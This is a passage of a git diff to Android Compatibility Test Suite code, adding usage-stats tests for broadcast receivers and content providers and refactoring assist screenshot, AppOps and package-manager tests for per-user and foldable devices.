+        <provider android:name=".TestContentProvider"
+            android:authorities="android.app.usage.cts.test1.provider"
+            android:exported="true"
+        />
     </application>
 </manifest>
diff --git a/hostsidetests/userspacereboot/testapps/BasicTestApp/src/com/android/cts/userspacereboot/basic/LauncherActivity.java b/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/TestBroadcastReceiver.java
similarity index 62%
copy from hostsidetests/userspacereboot/testapps/BasicTestApp/src/com/android/cts/userspacereboot/basic/LauncherActivity.java
copy to tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/TestBroadcastReceiver.java
index cb07bae..cfa7e2f 100644
--- a/hostsidetests/userspacereboot/testapps/BasicTestApp/src/com/android/cts/userspacereboot/basic/LauncherActivity.java
+++ b/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/TestBroadcastReceiver.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2020 The Android Open Source Project
+ * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,12 +14,13 @@
  * limitations under the License.
  */
 
-package com.android.cts.userspacereboot.basic;
+package android.app.usage.cts.test1;
 
-import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
 
-/**
- * An empty launcher activity.
- */
-public class LauncherActivity extends Activity {
+public final class TestBroadcastReceiver extends BroadcastReceiver {
+    @Override
+    public void onReceive(Context context, Intent intent) {}
 }
diff --git a/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/TestContentProvider.java b/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/TestContentProvider.java
new file mode 100644
index 0000000..8852e9b
--- /dev/null
+++ b/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/TestContentProvider.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.usage.cts.test1;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.database.MatrixCursor;
+import android.net.Uri;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+public final class TestContentProvider extends ContentProvider {
+
+    @Override
+    public boolean onCreate() {
+        return true;
+    }
+
+    @Nullable
+    @Override
+    public Cursor query(@NonNull Uri uri, @Nullable String[] projection, @Nullable String selection,
+            @Nullable String[] selectionArgs, @Nullable String sortOrder) {
+        MatrixCursor cursor = new MatrixCursor(new String[]{"Test"}, 0);
+        return cursor;
+    }
+
+    @Nullable
+    @Override
+    public String getType(@NonNull Uri uri) {
+        return null;
+    }
+
+    @Nullable
+    @Override
+    public Uri insert(@NonNull Uri uri, @Nullable ContentValues values) {
+        return null;
+    }
+
+    @Override
+    public int delete(@NonNull Uri uri, @Nullable String selection,
+            @Nullable String[] selectionArgs) {
+        return 0;
+    }
+
+    @Override
+    public int update(@NonNull Uri uri, @Nullable ContentValues values, @Nullable String selection,
+            @Nullable String[] selectionArgs) {
+        return 0;
+    }
+}
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index f90bd5d..a20a8f9 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -38,11 +38,15 @@
 import android.app.usage.UsageEvents.Event;
 import android.app.usage.UsageStats;
 import android.app.usage.UsageStatsManager;
+import android.content.BroadcastReceiver;
 import android.content.ComponentName;
+import android.content.ContentProviderClient;
 import android.content.Context;
 import android.content.Intent;
 import android.content.ServiceConnection;
 import android.content.pm.PackageManager;
+import android.database.Cursor;
+import android.net.Uri;
 import android.os.IBinder;
 import android.os.Parcel;
 import android.os.SystemClock;
@@ -83,6 +87,7 @@
 import java.util.List;
 import java.util.Map;
 import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
 import java.util.function.BooleanSupplier;
@@ -123,6 +128,10 @@
             = "android.app.usage.cts.test1.SomeActivityWithLocus";
     private static final String TEST_APP_CLASS_SERVICE
             = "android.app.usage.cts.test1.TestService";
+    private static final String TEST_APP_CLASS_BROADCAST_RECEIVER
+            = "android.app.usage.cts.test1.TestBroadcastReceiver";
+    private static final String TEST_AUTHORITY = "android.app.usage.cts.test1.provider";
+    private static final String TEST_APP_CONTENT_URI_STRING = "content://" + TEST_AUTHORITY;
     private static final String TEST_APP2_PKG = "android.app.usage.cts.test2";
     private static final String TEST_APP2_CLASS_FINISHING_TASK_ROOT =
             "android.app.usage.cts.test2.FinishingTaskRootActivity";
@@ -274,6 +283,34 @@
         verifyLastTimeAnyComponentUsedWithinRange(startTime, endTime, TEST_APP_PKG);
     }
 
+    @AppModeFull(reason = "No usage events access in instant apps")
+    @Test
+    public void testLastTimeAnyComponentUsed_bindExplicitBroadcastReceiverShouldBeDetected()
+            throws Exception {
+        mUiDevice.wakeUp();
+        dismissKeyguard(); // also want to start out with the keyguard dismissed.
+
+        final long startTime = System.currentTimeMillis();
+        bindToTestBroadcastReceiver();
+        final long endTime = System.currentTimeMillis();
+
+        verifyLastTimeAnyComponentUsedWithinRange(startTime, endTime, TEST_APP_PKG);
+    }
+
+    @AppModeFull(reason = "No usage events access in instant apps")
+    @Test
+    public void testLastTimeAnyComponentUsed_bindContentProviderShouldBeDetected()
+            throws Exception {
+        mUiDevice.wakeUp();
+        dismissKeyguard(); // also want to start out with the keyguard dismissed.
+
+        final long startTime = System.currentTimeMillis();
+        bindToTestContentProvider();
+        final long endTime = System.currentTimeMillis();
+
+        verifyLastTimeAnyComponentUsedWithinRange(startTime, endTime, TEST_APP_PKG);
+    }
+
     private void verifyLastTimeAnyComponentUsedWithinRange(
             long startTime, long endTime, String targetPackage) {
         final Map<String, UsageStats> map = mUsageStatsManager.queryAndAggregateUsageStats(
@@ -281,8 +318,8 @@
         final UsageStats stats = map.get(targetPackage);
         assertNotNull(stats);
         final long lastTimeAnyComponentUsed = stats.getLastTimeAnyComponentUsed();
-        assertLessThan(startTime, lastTimeAnyComponentUsed);
-        assertLessThan(lastTimeAnyComponentUsed, endTime);
+        assertLessThanOrEqual(startTime, lastTimeAnyComponentUsed);
+        assertLessThanOrEqual(lastTimeAnyComponentUsed, endTime);
 
         SystemUtil.runWithShellPermissionIdentity(()-> {
             final long lastDayAnyComponentUsedGlobal =
@@ -909,6 +946,8 @@
     @AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
     @Test
     public void testIsAppInactive() throws Exception {
+        assumeTrue("Test only works on devices with a battery", BatteryUtils.hasBattery());
+
         setStandByBucket(mTargetPackage, "rare");
 
         try {
@@ -954,6 +993,8 @@
     @AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
     @Test
     public void testIsAppInactive_Charging() throws Exception {
+        assumeTrue("Test only works on devices with a battery", BatteryUtils.hasBattery());
+
         setStandByBucket(TEST_APP_PKG, "rare");
 
         try {
@@ -1798,6 +1839,52 @@
         return ITestReceiver.Stub.asInterface(connection.getService());
     }
 
+    /**
+     * Send broadcast to test app's receiver and wait for it to be received.
+     */
+    private void bindToTestBroadcastReceiver() {
+        final Intent intent = new Intent().setComponent(
+                new ComponentName(TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+        CountDownLatch latch = new CountDownLatch(1);
+        mContext.sendOrderedBroadcast(
+                intent,
+                null /* receiverPermission */,
+                new BroadcastReceiver() {
+                    @Override public void onReceive(Context context, Intent intent) {
+                        latch.countDown();
+                    }
+                },
+                null /* scheduler */,
+                Activity.RESULT_OK,
+                null /* initialData */,
+                null /* initialExtras */);
+        try {
+            assertTrue("Timed out waiting for test broadcast to be received",
+                    latch.await(TIMEOUT, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException e) {
+            throw new IllegalStateException("Interrupted", e);
+        }
+    }
+
+    /**
+     * Bind to the test app's content provider.
+     */
+    private void bindToTestContentProvider() throws Exception {
+        // Acquire unstable content provider so that test process isn't killed when content
+        // provider app is killed.
+        final Uri testUri = Uri.parse(TEST_APP_CONTENT_URI_STRING);
+        ContentProviderClient client =
+                mContext.getContentResolver().acquireUnstableContentProviderClient(testUri);
+        try (Cursor cursor = client.query(
+                testUri,
+                null /* projection */,
+                null /* selection */,
+                null /* selectionArgs */,
+                null /* sortOrder */)) {
+            assertNotNull(cursor);
+        }
+    }
+
     private class TestServiceConnection implements ServiceConnection {
         private BlockingQueue<IBinder> mBlockingQueue = new LinkedBlockingQueue<>();
 
diff --git a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
index 4132849..0f1d10f 100644
--- a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
+++ b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
@@ -130,6 +130,7 @@
 import static org.junit.Assert.assertThrows;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
 
 import android.app.PendingIntent;
 import android.appwidget.AppWidgetProviderInfo;
@@ -1010,12 +1011,18 @@
 
     @Test
     public void queriesPackage_canSeeAppWidgetProviderTarget() throws Exception {
+        assumeTrue(InstrumentationRegistry.getInstrumentation().getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_APP_WIDGETS));
+
         assertVisible(QUERIES_PACKAGE, TARGET_APPWIDGETPROVIDER,
                 this::getInstalledAppWidgetProviders);
     }
 
     @Test
     public void queriesNothing_cannotSeeAppWidgetProviderTarget() throws Exception {
+        assumeTrue(InstrumentationRegistry.getInstrumentation().getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_APP_WIDGETS));
+
         assertNotVisible(QUERIES_NOTHING, TARGET_APPWIDGETPROVIDER,
                 this::getInstalledAppWidgetProviders);
         assertNotVisible(QUERIES_NOTHING, TARGET_APPWIDGETPROVIDER_SHARED_USER,
@@ -1025,6 +1032,9 @@
     @Test
     public void queriesNothingSharedUser_canSeeAppWidgetProviderSharedUserTarget()
             throws Exception {
+        assumeTrue(InstrumentationRegistry.getInstrumentation().getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_APP_WIDGETS));
+
         assertVisible(QUERIES_NOTHING_SHARED_USER, TARGET_APPWIDGETPROVIDER_SHARED_USER,
                 this::getInstalledAppWidgetProviders);
     }
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
index ed6cf6d..e48ba00 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
@@ -47,6 +47,7 @@
 import android.content.Context
 import android.content.pm.PackageManager
 import android.os.Process
+import android.os.UserHandle
 import android.platform.test.annotations.AppModeFull
 import androidx.test.runner.AndroidJUnit4
 import androidx.test.InstrumentationRegistry
@@ -138,6 +139,9 @@
             permissionToOpStr[permission.INTERACT_ACROSS_PROFILES] =
                     AppOpsManager.OPSTR_INTERACT_ACROSS_PROFILES
         }
+
+        val USER_SHELL_UID = UserHandle.getUid(Process.myUserHandle().identifier,
+                UserHandle.getAppId(Process.SHELL_UID))
     }
 
     @Before
@@ -257,29 +261,29 @@
             try {
                 mAppOps.startOp(OPSTR_WRITE_CALENDAR, mMyUid, mOpPackageName, "firstAttribution",
                         null)
-                assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, Process.SHELL_UID,
+                assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, USER_SHELL_UID,
                         SHELL_PACKAGE_NAME))
                 gotActive.get(TIMEOUT_MS, TimeUnit.MILLISECONDS)
 
                 mAppOps.startOp(OPSTR_WRITE_CALENDAR, Process.myUid(), mOpPackageName,
                     "secondAttribution", null)
-                assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, Process.SHELL_UID,
+                assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, USER_SHELL_UID,
                         SHELL_PACKAGE_NAME))
                 assertFalse(gotInActive.isDone)
 
-                mAppOps.finishOp(OPSTR_WRITE_CALENDAR, Process.SHELL_UID, SHELL_PACKAGE_NAME,
+                mAppOps.finishOp(OPSTR_WRITE_CALENDAR, USER_SHELL_UID, SHELL_PACKAGE_NAME,
                     "firstAttribution")
 
                 // Allow some time for premature "watchingActive" callbacks to arrive
                 Thread.sleep(500)
 
-                assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, Process.SHELL_UID,
+                assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, USER_SHELL_UID,
                         SHELL_PACKAGE_NAME))
                 assertFalse(gotInActive.isDone)
 
-                mAppOps.finishOp(OPSTR_WRITE_CALENDAR, Process.SHELL_UID, SHELL_PACKAGE_NAME,
+                mAppOps.finishOp(OPSTR_WRITE_CALENDAR, USER_SHELL_UID, SHELL_PACKAGE_NAME,
                     "secondAttribution")
-                assertFalse(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, Process.SHELL_UID,
+                assertFalse(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, USER_SHELL_UID,
                         SHELL_PACKAGE_NAME))
                 gotInActive.get(TIMEOUT_MS, TimeUnit.MILLISECONDS)
             } finally {
@@ -296,7 +300,7 @@
             val activeWatcher =
                     AppOpsManager.OnOpActiveChangedListener { _, uid, packageName, active ->
                         if (packageName == SHELL_PACKAGE_NAME &&
-                                uid == Process.SHELL_UID) {
+                                uid == USER_SHELL_UID) {
                             receivedActiveState.push(active)
                         }
                     }
@@ -307,13 +311,13 @@
                 mAppOps.startOp(OPSTR_WIFI_SCAN, mMyUid, mOpPackageName, null, null)
                 assertTrue(receivedActiveState.poll(TIMEOUT_MS, TimeUnit.MILLISECONDS)!!)
 
-                mAppOps.finishOp(OPSTR_WIFI_SCAN, Process.SHELL_UID, SHELL_PACKAGE_NAME, null)
+                mAppOps.finishOp(OPSTR_WIFI_SCAN, USER_SHELL_UID, SHELL_PACKAGE_NAME, null)
                 assertFalse(receivedActiveState.poll(TIMEOUT_MS, TimeUnit.MILLISECONDS)!!)
 
                 mAppOps.startOp(OPSTR_WIFI_SCAN, mMyUid, mOpPackageName, null, null)
                 assertTrue(receivedActiveState.poll(TIMEOUT_MS, TimeUnit.MILLISECONDS)!!)
 
-                mAppOps.finishOp(OPSTR_WIFI_SCAN, Process.SHELL_UID, SHELL_PACKAGE_NAME, null)
+                mAppOps.finishOp(OPSTR_WIFI_SCAN, USER_SHELL_UID, SHELL_PACKAGE_NAME, null)
                 assertFalse(receivedActiveState.poll(TIMEOUT_MS, TimeUnit.MILLISECONDS)!!)
             } finally {
                 mAppOps.stopWatchingActive(activeWatcher)
diff --git a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
index f534aa8..899721c 100644
--- a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
+++ b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
@@ -160,7 +160,7 @@
                 data, activity, structure, content));
 
         if (activity != null && Utils.isAutomotive(mContext)
-                && !activity.getPackageName().equals("android.assist.testapp")) {
+                && !activity.getPackageName().startsWith("android.assist")) {
             // TODO: automotive has multiple activities / displays, so the test might fail if it
             // receives one of them (like the cluster activity) instead of what's expecting. This is
             // a quick fix for the issue; a better solution would be refactoring the infra to
diff --git a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
index 8c25dea..44a3109 100644
--- a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
+++ b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
@@ -73,6 +73,7 @@
 import java.util.Map;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicReference;
+import java.util.function.Consumer;
 
 @RunWith(AndroidJUnit4.class)
 abstract class AssistTestBase {
@@ -140,7 +141,8 @@
 
     @Nullable
     protected RemoteCallback m3pActivityCallback;
-    private RemoteCallback m3pCallbackReceiving;
+    @Nullable
+    protected RemoteCallback mSecondary3pActivityCallback;
 
     protected boolean mScreenshotMatches;
     private Point mDisplaySize;
@@ -168,7 +170,6 @@
         mActionLatchReceiver = new ActionLatchReceiver();
 
         prepareDevice();
-        registerForAsyncReceivingCallback();
 
         customSetup();
     }
@@ -185,11 +186,15 @@
         mTestActivity.finish();
         mContext.sendBroadcast(new Intent(Utils.HIDE_SESSION));
 
-
         if (m3pActivityCallback != null) {
             m3pActivityCallback.sendResult(Utils.bundleOfRemoteAction(Utils.ACTION_END_OF_TEST));
         }
 
+        if (mSecondary3pActivityCallback != null) {
+            mSecondary3pActivityCallback
+                    .sendResult(Utils.bundleOfRemoteAction(Utils.ACTION_END_OF_TEST));
+        }
+
         mSessionCompletedLatch.await(3, TimeUnit.SECONDS);
     }
 
@@ -209,19 +214,6 @@
         runShellCommand("wm dismiss-keyguard");
     }
 
-    private void registerForAsyncReceivingCallback() {
-        HandlerThread handlerThread = new HandlerThread("AssistTestCallbackReceivingThread");
-        handlerThread.start();
-        Handler handler = new Handler(handlerThread.getLooper());
-
-        m3pCallbackReceiving = new RemoteCallback((results) -> {
-            String action = results.getString(Utils.EXTRA_REMOTE_CALLBACK_ACTION);
-            if (action.equals(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING_ACTION)) {
-                m3pActivityCallback = results.getParcelable(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING);
-            }
-        }, handler);
-    }
-
     protected void startTest(String testName) throws Exception {
         Log.i(TAG, "Starting test activity for TestCaseType = " + testName);
         Intent intent = new Intent();
@@ -244,7 +236,25 @@
         Utils.setTestAppAction(intent, testCaseName);
         intent.putExtra(Utils.EXTRA_REMOTE_CALLBACK, mRemoteCallback);
         intent.addFlags(Intent.FLAG_ACTIVITY_MATCH_EXTERNAL);
-        intent.putExtra(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING, m3pCallbackReceiving);
+
+        // In devices which support multi-window Activity positioning by default (such as foldables)
+        // it is necessary to launch additional activities ("screen fillers") so we may validate the
+        // entire screenshot captured by the Assistant (full display, not individual DisplayAreas)
+        if (m3pActivityCallback == null) { // first time start3pApp is called
+            intent.putExtra(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING,
+                    createRemoteCallbackReceiver(callback -> m3pActivityCallback = callback));
+        } else if (mSecondary3pActivityCallback == null) { // second time
+            // launch 3pApp on adjacent screen in test cases that need a "screen filler".
+            // necessary configuration to ensure Activity can be launched in another DisplayArea
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_LAUNCH_ADJACENT
+                    // as we are reusing this intent setup, unconditionally start a new task
+                    | Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
+            intent.putExtra(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING, createRemoteCallbackReceiver(
+                    remoteCallback -> mSecondary3pActivityCallback = remoteCallback));
+        } else {
+            throw new IllegalStateException("start3pApp supports a maximum of two App instances.");
+        }
+
         if (extras != null) {
             intent.putExtras(extras);
         }
@@ -253,6 +263,15 @@
         waitForOnResume();
     }
 
+    private RemoteCallback createRemoteCallbackReceiver(Consumer<RemoteCallback> consumer) {
+        return new RemoteCallback((results) -> {
+            String action = results.getString(Utils.EXTRA_REMOTE_CALLBACK_ACTION);
+            if (action.equals(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING_ACTION)) {
+                consumer.accept(results.getParcelable(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING));
+            }
+        }, new Handler(mContext.getMainLooper()));
+    }
+
     /**
      * Starts the shim service activity
      */
@@ -319,9 +338,8 @@
      */
     private void addDimensionsToIntent(Intent intent) {
         if (mDisplaySize == null) {
-            Display display = mTestActivity.getWindowManager().getDefaultDisplay();
-            mDisplaySize = new Point();
-            display.getRealSize(mDisplaySize);
+            Display.Mode dMode = mTestActivity.getWindowManager().getDefaultDisplay().getMode();
+            mDisplaySize = new Point(dMode.getPhysicalWidth(), dMode.getPhysicalHeight());
         }
         intent.putExtra(Utils.DISPLAY_WIDTH_KEY, mDisplaySize.x);
         intent.putExtra(Utils.DISPLAY_HEIGHT_KEY, mDisplaySize.y);
diff --git a/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java b/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java
index c9d16c8..e5f0cd1 100644
--- a/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java
+++ b/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java
@@ -39,48 +39,20 @@
 
     @Test
     public void testRedScreenshot() throws Throwable {
-        if (mActivityManager.isLowRamDevice()) {
-            Log.d(TAG, "Not running assist tests on low-RAM device.");
-            return;
-        }
-
-        startTest(TEST_CASE_TYPE);
-        waitForAssistantToBeReady();
-
-        Bundle bundle = new Bundle();
-        bundle.putInt(Utils.SCREENSHOT_COLOR_KEY, Color.RED);
-        start3pApp(TEST_CASE_TYPE, bundle);
-
-        eventuallyWithSessionClose(() -> {
-            delayAndStartSession(Color.RED);
-            verifyAssistDataNullness(false, false, false, false);
-            assertThat(mScreenshotMatches).isTrue();
-        });
+        validateDeviceAndRunTestForColor(Color.RED);
     }
 
     @Test
     public void testGreenScreenshot() throws Throwable {
-        if (mActivityManager.isLowRamDevice()) {
-            Log.d(TAG, "Not running assist tests on low-RAM device.");
-            return;
-        }
-
-        startTest(TEST_CASE_TYPE);
-        waitForAssistantToBeReady();
-
-        Bundle bundle = new Bundle();
-        bundle.putInt(Utils.SCREENSHOT_COLOR_KEY, Color.GREEN);
-        start3pApp(TEST_CASE_TYPE, bundle);
-
-        eventuallyWithSessionClose(() -> {
-            delayAndStartSession(Color.GREEN);
-            verifyAssistDataNullness(false, false, false, false);
-            assertThat(mScreenshotMatches).isTrue();
-        });
+        validateDeviceAndRunTestForColor(Color.GREEN);
     }
 
     @Test
     public void testBlueScreenshot() throws Throwable {
+        validateDeviceAndRunTestForColor(Color.BLUE);
+    }
+
+    private void validateDeviceAndRunTestForColor(int color) throws Throwable {
         if (mActivityManager.isLowRamDevice()) {
             Log.d(TAG, "Not running assist tests on low-RAM device.");
             return;
@@ -90,11 +62,15 @@
         waitForAssistantToBeReady();
 
         Bundle bundle = new Bundle();
-        bundle.putInt(Utils.SCREENSHOT_COLOR_KEY, Color.BLUE);
+        bundle.putInt(Utils.SCREENSHOT_COLOR_KEY, color);
+        start3pApp(TEST_CASE_TYPE, bundle);
+        // In multi-window devices (particularly foldables) we must cover the entire display
+        // to properly validate the Assistant screenshot; as there is no standard API to determine
+        // how many DisplayAreas a screen may contain, open a secondary activity for basic cases
         start3pApp(TEST_CASE_TYPE, bundle);
 
         eventuallyWithSessionClose(() -> {
-            delayAndStartSession(Color.BLUE);
+            delayAndStartSession(color);
             verifyAssistDataNullness(false, false, false, false);
             assertThat(mScreenshotMatches).isTrue();
         });
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
index 2472d48..bc813aa 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
@@ -1099,8 +1099,7 @@
                     (sm) -> getSubscriptionIdList(sm.getSubscriptionsInGroup(uuid)));
 
             activeSubGroup.add(subId);
-            assertThat(infoList).hasSize(activeSubGroup.size());
-            assertThat(infoList).containsExactly(activeSubGroup);
+            assertThat(infoList).containsExactlyElementsIn(activeSubGroup);
         } finally {
             removeSubscriptionsFromGroup(uuid);
         }
@@ -1132,8 +1131,7 @@
                 List<Integer> infoList =
                         getSubscriptionIdList(mSubscriptionManager.getSubscriptionsInGroup(uuid));
                 accessibleSubGroup.add(subId);
-                assertThat(infoList).hasSize(accessibleSubGroup.size());
-                assertThat(infoList).containsExactly(accessibleSubGroup);
+                assertThat(infoList).containsExactlyElementsIn(accessibleSubGroup);
             }
         } finally {
             removeSubscriptionsFromGroup(uuid);
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
index 8470a12..d1a46b0 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
@@ -934,10 +934,15 @@
     }
 
     static boolean isAppInstalled(String packageName) throws IOException {
-        final String commandResult = executeShellCommand("pm list packages");
-        final int prefixLength = "package:".length();
+        return isAppInstalledForUser(packageName, -1);
+    }
+
+    static boolean isAppInstalledForUser(String packageName, int userId) throws IOException {
+        final String command = userId < 0 ? "pm list packages " + packageName :
+                "pm list packages --user " + userId + " " + packageName;
+        final String commandResult = executeShellCommand(command);
         return Arrays.stream(commandResult.split("\\r?\\n"))
-                .anyMatch(line -> line.substring(prefixLength).equals(packageName));
+                .anyMatch(line -> line.equals("package:" + packageName));
     }
 
     private String getSplits(String packageName) throws IOException {
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
index 6ca8a01..262c687 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
@@ -1420,7 +1420,24 @@
         runTestWithFlags(PACKAGE_INFO_MATCH_FLAGS,
                 this::testGetInstalledPackages_WithFactoryFlag_ContainsNoDuplicates);
     }
+
+    // TODO(b/200519752): Remove once the bug is fixed
+    private boolean containsUpdatedApex() {
+        List<PackageInfo> installedApexPackages =
+                mPackageManager.getInstalledPackages(PackageManager.MATCH_APEX);
+        return installedApexPackages.stream().anyMatch(
+                p -> p.applicationInfo.sourceDir.startsWith("/data/apex"));
+    }
+
     public void testGetInstalledPackages_WithFactoryFlag_ContainsNoDuplicates(int flags) {
+        // TODO(b/200519752): Due to the bug, if there are updated APEX modules, then test will fail
+        // for flag: 0x40002000 and its superset. Skip under that specific condition.
+        int flagToSkip = MATCH_UNINSTALLED_PACKAGES | MATCH_APEX;
+        if (containsUpdatedApex() && (flags & flagToSkip) == flagToSkip) {
+            // Return silently so that the test still gets run for other flag combination.
+            return;
+        }
+
         List<PackageInfo> packageInfos =
                 mPackageManager.getInstalledPackages(flags | MATCH_FACTORY_ONLY);
         Set<String> foundPackages = new HashSet<>();
diff --git a/tests/tests/content/src/android/content/pm/cts/ResourcesHardeningTest.java b/tests/tests/content/src/android/content/pm/cts/ResourcesHardeningTest.java
index 0cb98f4..5385577 100644
--- a/tests/tests/content/src/android/content/pm/cts/ResourcesHardeningTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/ResourcesHardeningTest.java
@@ -17,7 +17,7 @@
 package android.content.pm.cts;
 
 import static android.content.pm.cts.PackageManagerShellCommandIncrementalTest.checkIncrementalDeliveryFeature;
-import static android.content.pm.cts.PackageManagerShellCommandIncrementalTest.isAppInstalled;
+import static android.content.pm.cts.PackageManagerShellCommandIncrementalTest.isAppInstalledForUser;
 import static android.content.pm.cts.PackageManagerShellCommandIncrementalTest.uninstallPackageSilently;
 
 import static org.hamcrest.core.IsInstanceOf.instanceOf;
@@ -373,20 +373,20 @@
         final String v4SignatureSuffix = ".idsig";
         final TestBlockFilter filter = new TestBlockFilter();
         final IncrementalInstallSession.Builder builder = new IncrementalInstallSession.Builder()
-                .addExtraArgs("-t", "-i", getContext().getPackageName())
+                .addExtraArgs("--user", String.valueOf(getContext().getUserId()),
+                              "-t", "-i", getContext().getPackageName())
                 .setLogger(new IncrementalDeviceConnection.Logger())
                 .setBlockFilter(filter);
         for (final String apk : apks) {
             final String path = TEST_APK_PATH + apk;
             builder.addApk(Paths.get(path), Paths.get(path + v4SignatureSuffix));
         }
-
         final ShellInstallSession session = new ShellInstallSession(
                 builder.build(), filter, packageName);
         session.session.start(Executors.newSingleThreadExecutor(),
                 IncrementalDeviceConnection.Factory.reliable());
         session.session.waitForInstallCompleted(10, TimeUnit.SECONDS);
-        assertTrue(isAppInstalled(packageName));
+        assertTrue(isAppInstalledForUser(packageName, getContext().getUserId()));
         return session;
     }
 
diff --git a/tests/tests/content/src/android/content/wm/cts/ContextGetDisplayTest.java b/tests/tests/content/src/android/content/wm/cts/ContextGetDisplayTest.java
index 60d8a9f..2f3bca2 100644
--- a/tests/tests/content/src/android/content/wm/cts/ContextGetDisplayTest.java
+++ b/tests/tests/content/src/android/content/wm/cts/ContextGetDisplayTest.java
@@ -107,7 +107,7 @@
     public void testGetDisplayFromWindowContext() {
         final Display display = getDefaultDisplay();
         final Context windowContext = createWindowContext();
-        assertEquals(display, windowContext.getDisplay());
+        assertEquals(display.getDisplayId(), windowContext.getDisplay().getDisplayId());
     }
 
     @Test
@@ -115,7 +115,7 @@
         final Display display = getDefaultDisplay();
         final Context windowContext = mApplicationContext.createWindowContext(display,
                 WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY, null /* options */);
